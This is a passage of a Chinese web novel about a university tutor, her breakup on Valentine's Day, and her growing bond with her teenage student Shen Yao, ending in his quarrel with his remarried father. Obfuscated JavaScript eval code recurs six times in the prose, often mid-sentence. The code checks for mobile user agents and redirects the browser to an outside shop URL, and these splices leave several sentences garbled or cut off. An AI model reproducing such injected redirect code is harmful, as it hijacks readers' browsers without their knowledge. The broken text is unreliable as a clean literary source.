沈曜搭在身侧的手动也不动,完全没有要接过药袋子的意思,语气中带着明显的讥讽,“听你这意思,我让你一个女生凌晨在雪夜独自回去,就合适了?” 哎对哦……我的人身安全也挺重要。 “也不合适。”舒瑶回过味儿来,纠结了不到两秒就决定了,“算了。我还是留下来吧,外面好冷,又暗,怪瘆人的。再说你刚退烧,我一走了之好像有点不负责任。” 不知道是不是错觉,舒瑶感觉沈曜松了口气。 “快换鞋进屋吧。”沈曜放松下来,阴沉地神色顿时消失,眼神晬亮,脸上又浮起朗朗笑意。 他将舒瑶常穿的那双女士拖鞋用脚轻轻拨弄到她面前,“客厅的沙发给你将就一晚。我去屋里帮你拿备用的棉被。” “好。就听你的。”看着沈曜透着开心的背影,舒瑶有点感慨。 生病的小朋友,大概会比平时更害怕孤单吧。 10. 星光(一) 生活中处处都充满不如意。不知道哪一天,那个不如意就会落在你头上。 距离沈曜生病已过去十多天。 沈曜的期末考试考得很好,英语只扣了八分。虽然总成绩没排进全校前三,但是好歹混了个全校前五。 沈志鹏高兴坏了,大手一挥,奖励了他小一万。 沈曜没什么乱花钱的习惯,将钱都存了起来。 寒假一来,班级群里成天都有约着出去玩的召唤消息。这些消息像是沸水里的泡泡,源源不绝地冒出来。 沈曜跟着一群同年级的球友昏天黑地地打了几天篮球,筋骨彻底松泛了,才想起要看看班级群。 年轻人,但凡是个节日就会凑热闹。 沈曜的班级群里这几天飘着最多的,就是二月十四号情人节的讨论消息了。 什么组团刷情人节游戏副本的、闺蜜约着去看情人节电影的、约着去剧本杀的,五花八门,只要是市面上流行的,都有人组织。 这年过年晚,除夕是两月十八号。 二月十三号,沈曜躺在沙发上刷朋友圈,恰好看见舒瑶晒了两张照片。 一张是电影的海报,听说挺火的,电影评分一直在攀升;另一张是给取票码打了马赛克的两张电影票,具体时间是晚上六点半那场。 沈曜细心的发现舒瑶的定位还在川城。 于是给她点了个赞,留评:还在川城? 舒瑶回评:对。后天才回家。 沈曜:哦。和你男朋友看完电影才回去吧? 你瑶姐姐:懂我^^ 沈曜:常规判断。毕竟食色性也。 你瑶姐姐:[抠鼻.jpg]+[翻白眼.jpg] 沈曜摸摸下巴,轻轻“嗤”了一声。在心里吐槽:小老师的情人节节目是和男朋友去看电影,这安排真土。 不知道她男朋友长什么样? 离她学校近、又离自己家近的,也就那一家电影院。估摸着她多半会去那一家。 沈曜眼珠子转了转,来了兴致,给周思诺发消息。 [曜:明天看电影不] [诺诺不糯糯:你请?那我看。] [曜:明晚六点半,我家附近的万达影院。过时不候。] [诺诺不糯糯:好兄弟。我的真爱。2.14不见不散。] [曜:滚] 两个直男说话一直都是简单粗暴、目标明确,当天约好之后就再无往来了,多半个字都吝啬。 寒假一刻值千金。 沈曜雷厉风行地买好电影票,扔了手机就去打扫房间。 周思诺撇下手机,戴上耳机、手握键盘鼠标继续在游戏的世界里大杀四方、开疆辟土。 -- 情人节当天,到处都是卖玫瑰花的。 商场大厅里,还有物业免费派送。只要是手牵手的情侣走到近前,就能得到一只深红色的玫瑰。 影院里也布置了情人节相关的艺术展板,几部爱情有关的电影都排在黄金时间的档期放映。饮食部还推出了情人节套餐,可乐、爆米花双人套都打六折。 沈曜提前二十多分钟就到了,懒散地靠坐在影院大厅最里侧的一张单人沙发上,一边吸溜可乐一边观望。 过了没几分钟,他想看的人就出现了。 舒瑶穿着米白色呢子外套、苏格兰风格的红黑格子半身裙,眉眼含笑,挽着一个身着休闲款黑色呢子大衣的青年,兴高采烈的一起去买了一份套餐。 沈曜盯着两人的方向出了会儿神,直到肩膀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13258917|139776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被人拍了一下,才回过神来。 “嘿!发呆呢兄弟?”周思诺不知何时到了影院大厅,见好友坐在角落,贼兮兮地走到一旁,忽然出声想吓他一跳。 “嘘。”沈曜没被吓到,反而用单手搂着他脖子,将他拉过来蹲下,指了指侧前方,“快看。”两颗竖着几撮呆毛的脑袋凑在一起贼头贼脑。 “看啥?”周思诺一脸懵逼。 沈曜对他扬了扬下巴,压低声音说:“看那儿,我的小老师和她男票。” “哇哦~”周思诺来劲儿了,这事儿他最爱看。“原来那就是你漂亮小姐姐的男朋友。长的还行啊,挺儒雅绅士范儿的,个儿还高,目测一米八。比你高点。” 这句话立时激起了男生的胜负欲,沈曜嗤之以鼻,“我才14岁好吧,以后身高一定能超过他。” “哦~你今天约我出来看电影,就为了看他吧。”周思诺咂咂嘴,回过味儿来。 “怎么。不行啊?”沈曜瞪了他一眼,拽拽地回道:“不是你说的么。人不八卦枉少年。”说着,沈曜将一张电影票塞给他。 “行行行。走吧,咱俩也进去吧。”周思诺随意瞄了眼票面上电影的名称,感慨道:“幸亏你的小老师不是完全的恋爱脑,没选彻头彻尾的爱情片。我看过这部电影的简介,主打悬疑推理,爱情成分不算多,评分挺高。不然咱俩帅哥搁一起看爱情片,不得无聊死才怪。” 沈曜坏笑着扬起嘴角,“是一个帅哥和一个丑男。我帅,你丑。谢谢。”好奇心被满足,他也没了心事,开始和好友拌嘴。 周思诺才不上他的当,乐呵呵地说:“错。你没听说过一句话么?物以类聚。帅哥的朋友当然也是帅哥。看在你今天请客的份儿上,我承认,你特别帅,我普通帅。哈哈~” 11. 星光(二) 看完电影也才八点半,小情侣之间的时间过了一半都不到。 舒瑶牵着杨衍的手荡来荡去,有点意犹未尽,笑吟吟地对他说:“时间还早。但是我饿了~嘿嘿” 杨衍用额头碰了碰舒瑶的额头,宠溺地看着她,“陪你去吃串串香锅?” 这个意见正中下怀,舒瑶开心不已,“好啊。这边地下一层就有一家,价格不贵、味道还很好。” 在离她几步之遥的地方,周思诺拍了拍沈曜的胳膊,“我去……我也馋了。咱们跟上去,也去吃串串。这回换我请你。” 沈曜挑起一边的眉毛,鄙夷地盯着他,“你分明是看八卦没看够吧。过分了啊。” 周思诺拍拍肚子,狡辩:“我是真被勾起馋虫了。走走走。”一边说,他还一边推了沈曜几步。 “你真出息。”沈曜无语,给了他一个大白眼,“我今天就多余喊你一起出来。” -- 串串香锅里原本坐了一半的客人。两部电影结束的空档,很多情侣都会去找点宵夜吃。 香辣解馋、价格公道的串串香锅成了许多客人的选择。 舒瑶和杨衍才坐下没一会儿,就发现店铺居然已经座无虚席了。 环境有些嘈杂,但两人并排而坐,交谈起来方便听清,也不怕谈话的内容被谁听了去。 舒瑶看着菜单,嘴角泛起的笑意藏也藏不住,眼睛直发光,手里的铅笔不停地圈圈画画,“这个我要吃、这个我也要、这个、还有这个~” 杨衍捏了捏她的脸,“小吃货~” “我点好了。你看看你有什么想吃的?”舒瑶将自己填好的菜单推给杨衍。 杨衍拿起菜单纸,上下浏览了一遍,在那些旁边又加了一笔,“差不多。你点的这些我都吃。” “嘿嘿~那就好。你喝酒吗?”舒瑶选完串串,忽然觉得今天这个好日子应该喝点酒。 杨衍快速亲了一下她的脸颊,笑道:“你喝吗?你喝我就喝。” 舒瑶的脸红了红,笑着扫了他一眼,在“奶啤”和“果酒”的选框旁边各写了一个“2”字。“完美。” 美酒佳肴,又是和喜欢的人在一起,舒瑶这顿宵夜吃得格外开心。 杨衍见舒瑶吃的差不多,脸色微醺、两颊泛起浅浅的粉色,知道她心情很好。 这几天他斟酌再三,才挑了这个时候和舒瑶谈正事。 “瑶瑶,有个事情,我想和你商量一下。” 舒瑶的眼神有几分醉意,慢悠悠移到他脸上,“什么事情?你说说看。” “之前……我和你说过的,我得出国交流半年。你说愿意等我,我很开心。” 舒瑶嘴角的笑意微敛,放下最后剩的一点果酒,动作有些凝迟,“然后呢?” 杨衍握着啤酒罐的手指在罐身上缓慢的摩挲,斟词酌句,“前一周,导师和我说,在那边表现优异的可以争取留下,以申请奖学金的形式继续深造。” 舒瑶脸上的笑容渐渐消失,望着他的眼神黯淡下来,“所以……得深造多久?一年?” 杨衍的眼中出现了一丝愧疚,“两年或三年,以取得足够学分为结果。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13258918|139776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舒瑶沉默了。 过了足有两、三分钟那么长的时间,她才又问:“然后呢?然后我觉得以你的想法,应该会在那边谋一份好工作?” “……” 杨衍不接话。但舒瑶的说法,很显然就是他的想法。“你……愿不愿意等等我,然后我想办法把你也接过去?” 舒瑶坐直身体,很严肃地盯着他的脸,“我想,你应该是清楚我的想法。就像我了解你一样。至于理由,我很早就告诉过你的。” 舒瑶的父母工作特殊,都是动物学家,自她有记忆以来,平时不是爸爸出外考察、就是妈妈外出到某个大森林里蹲点驻守做研究。 甚至在她四到六岁那三年,父母同时被外派回不来,她都是被安排在小姨家里寄养的。 一家三口能聚在一起吃顿年夜饭的次数,十个手指头都数的过来。 所以舒瑶自懂事以后,对另一半的第一个并且最看重的要求就是不能是异地恋。 现在杨衍和她提出要异地恋那么久,简直就是在她的心理阴影上玩蹦迪。 她答应做杨衍女朋友之前,也是考虑过两人的家乡都在海城,和他确认他与自己一样都会回海城工作久居,她才同意的。 没想到那么谨慎,到头来还是着了道。 舒瑶心里有一股被命运束缚挣脱不开的恼怒,恼怒中还夹杂着绝望的无奈。 杨衍对她用的“缓兵之计”,令她心中的反感和愤怒骤增。 但与此同时,她忽的厌恶起当时明知杨衍有不确定因素、却依然头昏脑热地栽到恋情里的自己。 12. 星光(三) 杨衍见舒瑶变得阴晴不定的脸色,知道她没有开玩笑,不免有些着急,哪怕他已经用了迂回的方法,舒瑶依然坚持初心不变。 “瑶瑶,我保证我对你是真心的,即使我们异地恋,我也绝对不会变心。” “杨衍。你该清楚,在长距离的情况下,再多的保证都是苍白的。”舒瑶觉得现在说什么都很无力,叹了口气,接着道:“咱们开始之前我就和你说过,我不接受异地恋。在我的感情观里,浓情抵不过时光和距离。” “瑶瑶,你别这么悲观,你给我一点信心好吗?”杨衍的语气里带上了明显的焦急。 舒瑶望着杨衍的眼神开始变得黯淡和疏离,“我不会劝你放弃学业、事业,但是也请你尊重我对于感情的态度。” 杨衍心里“咯噔”一下,生怕失去她的感觉使他一把攥紧舒瑶的手腕,将她拉过来,想以亲吻安抚她此时低落的情绪。 舒瑶蹙紧眉头很是抗拒,可是杨衍的动作太突然,论力气她也比不过他。 情急之下,舒瑶将脸偏向一旁。 心底的反感和抗拒感骤增,在她以为会面对杨衍身上那股淡淡的酒气时,一缕松木的清香将那酒气给挡了回去。 时间似乎被谁给拦截了。 预料之中的那个吻竟没落下。 舒瑶怔了怔,等回过神偏头望去,才发现是有人阻挡了那个她很不情愿的吻。 沈曜的臂弯绕过舒瑶的脸侧、伸向前方。 杨衍的嘴上被人拍了一张餐巾纸,接着他的脸就被后方伸出的一只手给利落地推开了。 少年眼神摄人,坚定的眸光凝在杨衍脸上,毫不掩饰自己与之对抗的意味。 沈曜今天穿着一件奶灰色的粗线毛衣,衣服款式偏宽松,被他的宽肩撑起,隐去了这个年纪的男生才独有的少年瘦削感。若不是他脸颊两侧还有点嘟嘟的肉感能体现出真实的年龄,乍一看去,还以为这是个十七、八岁大的男生。 “沈曜???”舒瑶看清身后阻挡杨衍的人,愕然望向他,“你怎么在这儿?” 少年回头对与自己同桌的友人快速交代了一句:“今天我有事,你先回去吧。单我来买。” 周思诺是个机灵鬼,一看这种场面,就知道沈曜必然是要维护他的小老师,一时半会儿走不开。于是点点头,拿起纸巾一擦嘴,麻溜儿地撤退了。 杨衍也被突然冒出的少年吓了一跳,愣了少晌,才问:“你是谁?” “你管我是谁。”舒瑶后座的少年很不客气的对杨衍说:“没看见人家不乐意你亲啊?” 杨衍的脸色沉了沉。他没理会这个突然横插一杠的陌生少年的无礼和挑衅。 听刚才舒瑶唤的那一声,杨衍知道这少年和舒瑶是熟人。 “瑶瑶,我们走吧。我先送你回去。”杨衍不满地看了眼少年,取过椅背上的外套,想去拉舒瑶起来。 舒瑶将胳膊往后缩了缩,抵触他的触碰,“不用了。你先走吧。” 杨衍明白如果现在自己硬要带走舒瑶,只会让彼此不欢而散。扫了一眼挑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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舒瑶拿起白色的手提包,“对。你还小,还在长个子呢。不能熬夜。那会内分泌失调的。我们走吧。” 沈曜嗤了一声,“你先管好你自己再说。” 川城的腊月和北方相比温度不算低,但是空气中总是有股湿冷掺杂。 今夜风小,可因前两天一直下雨的关系,带着潮意的寒气仍旧袭人。 走在大街上,舒瑶瑟缩了一下,脚步有些蹒跚。她一边搓搓手哈气取暖,一边盯着脚下的路面,走得小心翼翼,生怕把自己给摔了。 沈曜配合着她的步子,刚想嘲弄她失恋了还这么小心,却透过蒙昧昏黄的路灯,瞥见她长而密的眼睫上悬着几点晶莹,像是细密的夜露、又像是小小的泪珠。 这是……哭了? 沈曜的心顿时提了起来,有些慌惘无措。 他不知道该说些什么开导安慰如此难过的她。他以前从没遇见过这种情况。 自从他认识舒瑶以来,她给他的印象一直都是精明的,行事磊落中透着狡黠。她从不隐瞒她心里的小算盘,却也懂得在恰当的时候退后一步,让你得到些小利益。 仿佛没有什么事情会让她多愁善感,犹豫伤怀。因为她把一切都计划安排的很好,让你挑不出错来。 即便是她和他诉说她与她表弟之间的遗憾时,也像是顿悟之后的随意闲聊。 她温柔可亲,同时又无懈可击,是和他接触过的所有女生都完全不同的独特类型。 如果自己回到六、七岁的年纪认识她,说不定会认定舒瑶是个白玉制的算盘精修成了人形。她精打细算,却又因为漂亮的外表和温和的仪态,让人讨厌不起来。 直到今晚无意中看见她的眼泪,他才恍然觉出,舒瑶也是个柔情似水的女生,她的内心有丰沛的情感,并不是那么高邈清冷到遥不可及。 只不过这类情况实在太过于罕有,以至于沈曜莫名得感到雀跃和幸运。今晚是自己陪在她身旁,再没有其他人窥见此刻的她。 沈曜的心跳不知不觉快了一些。他悄悄垂眸俯视她,想将她脸上难得出现的脆弱神情刻进心底。 原来她也不是每时每刻都那么爽辣,面对失意的感情,她也会像其他女生那样流露出脆弱的一面。 沈曜抬手,略显慌乱地撸了撸头发,频频侧头瞅她,“你、你你怎么哭了?别哭啊。不是都想好了么?” 舒瑶难得见到他的慌张,许是少年这份没有遮掩的真性情暴露在自己眼前很真实,舒瑶也对他报以坦诚。 她轻轻揉了下眼睛,揩去眼角的点点眼泪,“沈曜。成年人的恋爱总是要权衡许多东西,时间、精力、甚至物质条件。但这并不表示我们没有付出真心。只要付出了真心,受到伤害时,谁都会难过的。” 虽然她极力表现的淡然,但是她的鼻头有点发红,不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13258920|139776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是冻的,还是因为流泪伤心,瞧着竟让人心生怜爱。 沈曜放在兜里的手指不自觉捻动了两下,他有点想轻抚她的眼角。但这念头仅仅在他脑海里出现了一秒,就被他忽略了。 “所以,即便是你主动想和他分手,你也会难过?”沈曜偏头凝视着她鸦羽似的眼睫,表示难以理解。 “当然了。如果现在是我一个人,肯定会大哭一场。”舒瑶直言不讳。 顿了片刻,她像是想到什么,话风忽的一转。“比如就像你爸,他到了他那个年纪,要顾虑的肯定更多,择偶范围也更窄。但即使这样困难重重,他仍旧选定了一人,那说明他对她,是真的很喜欢吧……” 听到舒瑶提起自己的父亲和那女人,沈曜眉头一皱,有点不爽,“好端端的,提这干嘛。” “谢谢你今晚陪我。没让我在这凄凄惨惨的夜里一个人回家。”舒瑶知道他心底抵触这个话题,但机会难得,她很少有与沈曜交心深谈的机会,所以依然劝他。 “我知道在你心里,你妈妈是无可取代的。但是当你长大了,当你有了自己的事业、爱情,你爸爸也老了。他需要有个彼此相爱的人陪他度过余生,我们做子女的,是没法一直陪伴他们左右的。你不接受他的新对象不要紧,但你否定了他的选择,他心底必然也是万分难受的。”舒瑶客观地分析道。 沈曜阴沉着脸,一言不发,只是伴在她身侧,沉默地陪她走着。他知道舒瑶今天难过,不想怼她什么。 “好了,这件事终究是你的家事。我也没什么立场往深了劝你。这个话题就此打住吧。”舒瑶的话点到为止,以沈曜的灵敏心思,他会明白自己在劝他什么。 14. 星光(五) 两人走着走着,不知不觉就来到了舒瑶租的房子楼下。 舒瑶仰头哈了口气,一团烟霭似的白雾在眼前出现。她讨厌此时夜的黧黑,于是抬头望向天空,试图寻找光亮。仿佛这样做,就能让她此刻低落的心情明亮一些。 月亮被一片乌云遮住,失去了皎洁的光华。唯有淡淡星光,在空中闪着若有若无的光。 也罢。星星的光芒即使再微弱,也是有光的,星星点点、若隐若现,衰而不穷,弱而不竭,布满了整片天际。 舒瑶心头一亮,侧头看向身边的少年。此情此景,让她蓦然觉得他就像是头顶这片星光。 夜路之下,默默地送自己回家的少年,耐心地听她倾诉。 虽然他不会说什么好听哄人的话,可是却不骄不躁地陪伴在她身旁,让她感觉到了介于师生和朋友之间的那种淡淡的温暖。 舒瑶落寞的情绪被那些遥远又无处不在的星光安抚了,身旁陪着自己的少年冲淡了她此时因心情低落而产生的孤独感。 她深呼吸了几口气,调整心情,转头叮嘱他,“你也赶紧回去吧。没想到今天陪我回来的是你。” 舒瑶从自己的拎包里拿出一个精美的深咖色方形小盒子,递给他,“等会儿你从这小区的南门穿过去,离你家最近。顺便帮我把这个扔那边的垃圾桶吧。改天我请你喝奶茶。” 沈曜接过那个只有手掌大小的盒子左看右看,又拿在手里摇了几下,“这是什么?” “巧克力,材料挺贵的呢。我学了好久才做出来的。可惜没送出去。”舒瑶遗憾撇嘴。 沈曜挑挑眉、撩起嘴角,揶揄她,“你还打算亲手做巧克力送男朋友啊。平时我怎么看不出来你这么老土?隐藏技能很深啊。” 舒瑶翻了个大白眼,“我人生中第一个有恋人的情人节啊。初恋你懂不懂!当然要慎重。” 沈曜勉为其难地点点头,嫌弃道:“行吧。你赶紧上去吧。我困了,走了。” 舒瑶对他挥了挥手,转身走进了楼道。原本漆黑的楼道,因为她的脚步声,声控灯一层层地亮起来。 沈曜仰头望着被她的脚步声逐层点亮的灯光,觉得心底好像也被点亮了。 不一会儿,顶楼的房间有一盏灯亮起,橘色的灯光从小小的窗户里漫出来,柔和的像一团暖色的雾,衬得浓沉沉的夜色都温柔了几分。 沈曜此时意识到,自己之所以接受舒瑶进入自己的生活,是因为她从来不拿他当什么都不懂的小孩子看待。 在教学时,她会征求自己的意见;而她有困难或失意时,也不介意和自己倾诉。这是一种由心而发的信任。 虽然她的口中偶尔会叫自己“小屁孩、熊孩子”,但她一直都在努力将自己与她放在同等的位置交流,给于他平等的尊重。 这是以往那些家教无法提供给他的情绪价值。 她给于他的是一种心灵上的呵护。所以面对她,他才会觉得放松又安心。 夜风清冷,将云层缓缓拨开。皎洁的月华再次漫延开来,像是铺在暗淡星河里的一层银纱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13258921|139776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈曜站在原地发了会儿呆,继而转身朝南门走去,将自己的身影融入泛着蒙蒙月光的夜色里。 走到南门附近,果然看见两个垃圾桶,他盯着那两个黑色的垃圾箱瞧了一会儿,手里捏着装巧克力的礼盒,犹豫了。 这是舒瑶用心做的?那扔了多可惜。 反正也送不出去了,不如我给她个面子,吃一口尝尝? 沈曜缓缓抽掉盒子上扎成蝴蝶结的金棕色丝带,打开盒子,见里面的巧克力都是桃心形状的。 他嫌弃万分地皱了一下鼻子,“真是土的掉渣。” 嘴上吐槽,可他却小心地用食指和中指夹起其中一颗,将它放入口中细细品尝。 巧克力很苦,估计黑巧的占比至少有70%以上,可随着口腔的温度将它慢慢融化,浓醇的口感在嘴里颇有层次地弥漫开来,表面还洒了可可粉,整体的口感细腻丝滑。 滋味竟不比外面糖果店里卖的高档巧克力差。 好吃! 沈曜的眼睛闪了闪,这巧克力出乎他意料的美味可口。 自己就勉为其难地收了吧。 而且,回味起来竟然越品越甜。 不知道她究竟怎么做出来这种口感的,他以前也吃过同学给的浓度80%的黑巧,但好像都没舒瑶做的好吃。 有点意思…… 一直都不怎么喜欢吃巧克力的他,今晚的认知被颠覆了。 少年手腕一转,毫不犹豫的将那盒巧克力揣进自己的羽绒服口袋里,疾步朝家的方向走去。 15. 依赖(一) 还没出农历的正月十五,舒瑶就快刀斩乱麻,和杨衍正式提了分手。这段暧昧加确定恋爱关系前后为期近半年的短暂初恋,被她彻底画上了句点。 杨衍后来找过她两次尝试挽留,但舒瑶的顾虑也不无道理。 一段前途未卜的恋情,对彼此不确定的未来,都将是一种瞻前顾后的消耗。 两人最终就这么分开了。 舒瑶每到深夜,隔三差五的就偷偷躲在被子里哭。难过了整整四个多月,才逐渐从那段恋情里走出来。 可即便如此,她也从不后悔自己的决定。她从不畏惧伤害,只怕面对伤害而无能为力重新振作的自己。 由于热恋期突然分手太过于痛苦,也很迷茫无助,为了分散注意力,也为了解决自己初恋失败的困惑,舒瑶将各种恋爱心理学、男性心理学翻了个遍,逐渐发现之前自己对于爱情的理解十分狭隘和过于理想化。 也因而了解到,女性和男性对于爱情和两性关系的观念有着天壤之别。 至此以后,对于爱情,她多了分泰然和随缘的心态,变得越发佛系和理性了。 着眼于眼前的学业和事业,成了她主要的关注重点。 舒瑶将自己全身心都投入到学业和未来的工作计划中。 让她欣慰的是,那段时间沈曜似乎发现了她一直处于失恋的低落期,见她时常顶着红肿的双眼来授课,对她冷嘲热讽的频率明显下降。 对于这个小男孩默默的暖心举动,舒瑶十分领情,给他上课愈加用心,精益求精。 - 好像人一过了二十岁,时光的流逝就变得越来越快。 光阴如梭这个词,是舒瑶上了大四以后最深刻的体会。 忙不完的小组报告、做不完的调研、赶不完的论文,还有今后为了让毕业履历丰富漂亮而接不停的协助项目。 舒瑶打算在毕业以后回自己的家乡海城发展,所以许多要在大四下学期才做的事情,都被她给安排在上学期赶完。这样她就可以预留出更多的时间,在海城找实习工作。 在舒瑶忙碌的大四生涯开始时,沈曜也进入了初三这个重要的人生阶段。 舒瑶曾向沈曜的父亲沈志鹏建议,沈曜的英语成绩已经很好,不需要再进行家教补习了。 可沈志鹏却提出,他想让沈曜冲刺川城排名第一的重点高中的精英班,所以他希望舒瑶能在沈曜初三这一年,将高一的英语都给沈曜提前教一遍。 以目前沈曜的成绩,语文和数学完全不在沈家的顾虑之内,轻轻松松考个全校前三,对沈曜来说不成问题。虽然沈曜的初中在文锦区内不算特别好的学校,但是全校前三的成绩,也足够他搏一把理想高中了。 然而对于英语单科,相对于其他两门主课,他的成绩还不能保持每次都考到学校前三名。稍微不注意,就跌出全校前五了,偶尔还会考到第十名。 没办法。人无完人,沈曜就是偏科的典型。 了解到沈志鹏对沈曜如此高的定位和期望,舒瑶便同意了。 两方商量下来,舒瑶的大四期间,她在川城的时候就去沈曜家给他补课,万一遇到需要回海城跟进实习项目的时候,那么就采取视频一对一授课的方式补习。 如此一来,既不耽误沈曜的课程,又不会拖累舒瑶的实习。两方谈妥,一切都被彼此努力安排的有条不紊。 初三中考结束,功夫不负有心人,沈曜以优异的成绩考入了川城第一的重点高中——华杨中学。 作为陪伴教导沈曜将近半个初中生涯的舒瑶,当然也是与有荣焉。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13258922|139776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >十一月是沈曜的16岁生日,舒瑶在川城的一位学姐恰好又在那个月给她发了婚礼请柬。 舒瑶请了一天年假,连着一个双休日,凑出来三天的假期,从海城飞到川城去参加学姐的婚礼,顺便给自己的得意小门生送个生日礼物和升学贺礼。 那几天沈志鹏也正好在家,遇见老东家,舒瑶没有不登门拜访的道理。于是和沈家约好,星期五下午等沈曜放了学以后,舒瑶就去他家坐会儿,探望一下这对父子。 许久不见同学和沈曜,舒瑶对他们还是挺想念的。在出发之前,她特意早早就备好了海城特产作为阔别已久的见面礼。 -- 星期五的清晨,舒瑶搭乘早班机抵达川城。去酒店放好行李,简单吃了顿午饭小睡了一会儿,舒瑶便拎着礼物出门了。 这一日,川城的天空十分阴沉。叆叇浓云在天际铺了一层又一层,将璀璨阳光遮得密不透风。 虺虺的雷声由远及近,昭示着不多久便会有一场雨。 空气里布满大雨将至的潮气,气压很低,让人觉得湿冷又压抑。 平常“车如流水马如龙”的街景不见了。许是这天气实在让人失了出门闲逛的兴致,偶有两三辆车经过,还要隔上好一会儿才得见。 虽说川城的艳阳天相比海城来说少了一些,但薄雾浓云下悠然自得的岁月却是川城的一大特色,像今天这么使人体感不舒服气候,实为少见。 舒瑶左手捧着一束刚买的鲜花、右手拎着一个礼品袋,才走了还没一刻钟,就胸闷不已。她感觉快喘不上来气了,心底隐约浮起一种非常不好的预感。 好不容易走到沈曜家门口,却见大门虚掩着,里面骤然传来一阵惊心的玻璃碎裂声,像是有谁故意将花瓶、杯子之类的狠狠砸到了地板上。 16. 依赖(二) 舒瑶被吓了一跳,搭在门把手上的手颤了一下。 这是什么情况?!她停在门口僵住了,不敢敲门。 不待片刻,门内又传来椅子“砰”的一声砸在地上的响动,令人心惊胆颤。可见里面的争吵有多激烈。 “我说了我不去你是听不懂吗!!我管你什么满月酒!!我从没承认我有个妹妹!!” 虽然没看见实际的场面,单从这句狂怒的吼声中,舒瑶也听出那是沈曜的声音。他正处于暴怒中。 “沈曜!你够了!任性也要有个程度!”沈志鹏头疼不已。沈曜对于他再婚的事情始终无法接受。沈志鹏斥责的声音里充满了无奈和疲惫。 “我任性?!”沈曜气得想笑,大声反诘,“你还记得我妈吗?你还记得她长什么样子吗?你还记不记得她每晚熬坐在沙发上等你回来,就为了给你泡杯蜂蜜水?!问你一句‘工作累了吧’?!” 说到这里,沈曜的声音中染上悲恸。他爸现在是如意了,又有了可心体贴的温柔妻子,可是自己的妈妈呢? 他小时候偶尔起夜喝水、或去卫生间上厕所时,总能看见妈妈斜靠在沙发上睡着的样子,秀美的眉头微微蹙起,菱唇轻抿成一线。客厅的灯关着,只有电视机里闪动不已的反光,照出她不甚安稳的睡容。 随着日日夜夜的流逝,她的眼角和嘴角都悄悄爬上了皱纹。原本白皙丰润的脸庞在日月交替中渐渐变得黯淡,透出一种消沉的黄气,那是一种被岁月侵染和磋磨的痕迹。这些痕迹意味着,这个女人的青春和美丽,正在日复一日的操劳和等待中逝去。 然而作为她最亲密的丈夫,沈志鹏却无暇顾及这些。似乎他的眼中就只有赚钱,除了赚钱,其他都排不上他生命中的第一。 沈曜很难理解,她妈妈也有工作,同时还要兼顾照顾家庭和自己,沈志鹏也有工作并且只要顾好自己的工作就行。 为什么父亲和母亲两人在面对工作和生活时,差异就这么大?! 如果时光可以倒流,他宁愿自己家里穷一点,还住在以前那个只有五十平米的两室一厅的老式小区里,街坊邻里平时说话吵架大声一点,都能听得清清楚楚。每到傍晚时,邻居家的饭菜香气都能飘到自己家里。 那般如褪色老照片一样的人间烟火气,他不知在梦里梦见过多少次,思念过多少次。 